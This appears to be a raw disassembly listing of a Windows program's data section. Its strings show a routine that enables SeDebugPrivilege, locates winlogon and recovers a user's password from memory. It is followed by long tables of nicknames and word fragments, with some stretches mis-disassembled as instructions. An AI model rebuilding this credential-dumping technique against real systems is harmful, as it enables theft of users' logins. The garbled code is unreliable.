aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43799C	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_437A00	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A5C	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A74	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 4
unk_437B38	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B84	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BD4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437C28	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_4387D8
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
; ---------------------------------------------------------------------------
		aam	87h
		inc	ebx
		add	[eax+0C0042AAh], ch
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_4387D0
		dd offset dword_4387CC
		dd offset dword_4387C8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_4387C4
		dd offset dword_4387C0
		dd offset dword_4387BC
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_4387B8
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4387B4
		dd offset dword_4387B0
		dd offset dword_4387AC
		dd offset dword_4387A8
		dd offset dword_4387A4
		dd offset word_4387A0
		dd offset dword_43879C
		dd offset aI_0		; "I"
		dd offset dword_438798
		dd offset dword_438794
		dd offset aA_0		; "A"
		dd offset dword_438790
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset dword_438768
		dd offset dword_438764
		dd offset dword_438760
		dd offset word_43875C
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384F4
		dd offset off_4384F0
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43835C
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437F28	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
; ---------------------------------------------------------------------------
		fadd	qword ptr [ecx-7E2BFFBDh]
		inc	ebx
		add	ah, cl
		add	dword ptr [ebx+0], offset aQ8 ;	"Q8"
		rol	byte ptr [ecx-7847FFBDh], 43h
		add	[eax], dh
		lodsb
		inc	edx
		add	[eax], bh
		mov	dword ptr [edx+0], offset aE ; "e"
		rol	byte ptr [edi-7833FFBDh], 1
		inc	ebx
		add	al, cl
		xchg	eax, [ebx+0]
		or	al, 0C3h
		inc	edx
		add	[eax], dh
		mov	ch, 42h
		add	[eax-4Dh], bh
		inc	edx
		add	[eax-3BFFBD39h], dl
		xchg	eax, [ebx+0]
		clc
		lodsb
		inc	edx
		add	[ebx+esi*4+42h], bh
		add	[ebx+esi*4], ch
		inc	edx
		add	[edx+ebp*4-3CDFFFBEh], al
		inc	edx
		add	[ecx+eax*4-3D4FFFBDh], bh
		inc	edx
		add	[eax-2BFFBD56h], ch
		mov	dl, 42h
		add	al, bl
		xchg	eax, [ebx+0]
		mov	esp, 0D4004387h
		xchg	eax, [ebx+0]
		rol	byte ptr [edi-7E4BFFBDh], 43h
		add	[eax-53FFBC7Fh], dh
		add	dword ptr [ebx+0], offset aGf ;	"gf"
		movsb
		add	dword ptr [ebx+0], offset aSdf ; "sdf"
		pushf
		add	dword ptr [ebx+0], offset aLuvy	; "luvy"
		mov	word ptr [ecx-7E7BFFBDh], es
		inc	ebx
		add	[ecx+eax*4+43h], bh
		add	al, al
		xchg	eax, [ebx+0]
		int	3		; Trap to Debugger
		xchg	eax, [ebx+0]
		adc	al, 0C3h
		inc	edx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset off_438178
		dd offset aBbl		; "|bbl"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset a___0		; "_|_"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_438788
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4387B8
		dd offset dword_43D158
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D158
		dd offset dword_43D158
		dd offset dword_43876C
		dd offset dword_43D158
		dd offset off_438138
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380F8
		dd offset dword_4380F4
		dd offset dword_4380EC
		dd offset dword_4380E0
		dd offset dword_4380D8
		dd offset dword_4380D0
		dd offset dword_4380C8
		dd offset dword_4380C4
		dd offset dword_4380C0
dword_4380C0	dd 7536h		; DATA XREF: ___:004380BCo
dword_4380C4	dd 7535h		; DATA XREF: ___:004380B8o
dword_4380C8	dd 7C75347Ch, 0		; DATA XREF: ___:004380B4o
dword_4380D0	dd 6F79347Bh, 7D75h	; DATA XREF: ___:004380B0o
dword_4380D8	dd 7375347Ch, 7Ch	; DATA XREF: ___:004380ACo
dword_4380E0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A8o
dword_4380EC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:004380A4o
dword_4380F4	dd 6C6F6Ch		; DATA XREF: ___:004380A0o
dword_4380F8	dd 746F74h		; DATA XREF: ___:0043809Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438098o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438094o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438090o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043808Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438088o
aShit		db 'shit',0             ; DATA XREF: ___:00438084o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438080o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043807Co
		align 4
off_438138	dd offset aIiii		; DATA XREF: ___:00438078o
					; "┬┬┬┬"
aFree		db 'Free',0             ; DATA XREF: ___:00438064o
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438060o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438054o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438048o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438044o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438040o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438024o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438018o
		align 4
off_438178	dd offset loc_425242	; DATA XREF: ___:00438014o
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00437FF1o
		align 4
aUi		db 'ui',0
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00437FE9o
aRt		db 'rt',0
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00437FE1o
		align 4
aTy		db 'ty',0
		align 10h
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F69o
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:00437F5Co
		align 10h
aSex		db '{sex}',0            ; DATA XREF: ___:00437F58o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00437F54o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F50o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F4Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F48o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F44o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F40o
aLag		db 'lag',0              ; DATA XREF: ___:00437F3Co
aBad		db 'bad',0              ; DATA XREF: ___:00437F38o
aTree		db 'tree',0             ; DATA XREF: ___:00437F34o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00437F30o
aLez		db 'lez',0              ; DATA XREF: ___:00437F2Co
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437F28o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437F24o
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437F20o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437F1Co
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437F18o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437F14o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437F10o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437F0Co
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437F08o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437F04o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437F00o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EFCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EF8o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EF4o
		align 10h
aUla		db 'ula',0              ; DATA XREF: ___:00437EF0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EECo
aAkden		db 'akden',0            ; DATA XREF: ___:00437EE8o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EE4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EE0o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EDCo
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437ED8o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437ED4o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437ED0o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437ECCo
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437EC8o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00437EC4o
		align 10h
aDevre		db 'devre',0            ; DATA XREF: ___:00437EC0o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437EBCo
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437EB8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00437EB4o
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437EB0o
		align 4
off_43835C	dd offset byte_4B5245	; DATA XREF: ___:00437EACo
aSevda		db 'sevda',0            ; DATA XREF: ___:00437EA8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00437EA4o
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437EA0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E9Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E98o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E94o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E90o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E8Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E88o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E84o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E80o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E7Co
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E78o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E74o
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E70o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E6Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E68o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E64o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E60o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E5Co
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E58o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E54o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E50o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E4Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E48o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E44o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E40o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E3Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E38o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437E34o
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437E30o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437E2Co
aArda		db 'arda',0             ; DATA XREF: ___:00437E28o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: ___:00437E24o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437E20o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437E1Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437E18o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437E14o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437E10o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437E0Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437E08o
		align 10h
off_4384F0	dd offset byte_457441	; DATA XREF: ___:00437E04o
dword_4384F4	dd 414C5941h, 2Dh	; DATA XREF: ___:00437E00o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DFCo
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DF8o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DF4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DF0o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DECo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DE8o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DE4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DE0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DDCo
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DD8o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437DD4o
aAslii		db 'aslii',0            ; DATA XREF: ___:00437DD0o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437DCCo
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437DC8o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437DC4o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437DC0o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437DBCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437DB8o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437DB4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437DB0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437DACo
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437DA8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437DA4o
		align 10h
aMary		db 'MARY',0             ; DATA XREF: ___:00437DA0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D9Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D98o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D94o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D90o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D8Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D88o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D84o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D80o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D7Co
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D78o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D74o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D70o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D6Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D68o
		align 10h
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D64o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00437D60o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D5Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D58o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D54o
		align 10h
aManee		db 'manee',0            ; DATA XREF: ___:00437D50o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:00437D4Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D48o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D44o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D40o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D3Co
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D38o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437D34o
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437D30o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437D2Co
		align 10h
aTalika		db 'talika',0           ; DATA XREF: ___:00437D28o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00437D24o
		align 10h
aKen		db 'ken',0              ; DATA XREF: ___:00437D20o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437D1Co
		align 10h
aKoko		db 'koko',0             ; DATA XREF: ___:00437D18o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00437D14o
		align 10h
aSwin		db 'swin',0             ; DATA XREF: ___:00437D10o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437D0Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437D08o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437D04o
		align 10h
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437D00o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CFCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CF8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CF4o
		align 4
aM_0:					; DATA XREF: ___:00437CF0o
					; ___:0043803Co
		unicode	0, <M>,0
word_43875C	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CECo
		align 10h
dword_438760	dd 42h			; DATA XREF: ___:00437CE8o
dword_438764	dd 56h			; DATA XREF: ___:00437CE4o
dword_438768	dd 43h			; DATA XREF: ___:00437CE0o
dword_43876C	dd 58h			; DATA XREF: ___:00437CDCo
					; ___:00438070o
dword_438770	dd 5Ah			; DATA XREF: ___:00437CD8o
dword_438774	dd 4Ch			; DATA XREF: ___:00437CD4o
dword_438778	dd 4Bh			; DATA XREF: ___:00437CD0o
dword_43877C	dd 4Ah			; DATA XREF: ___:00437CCCo
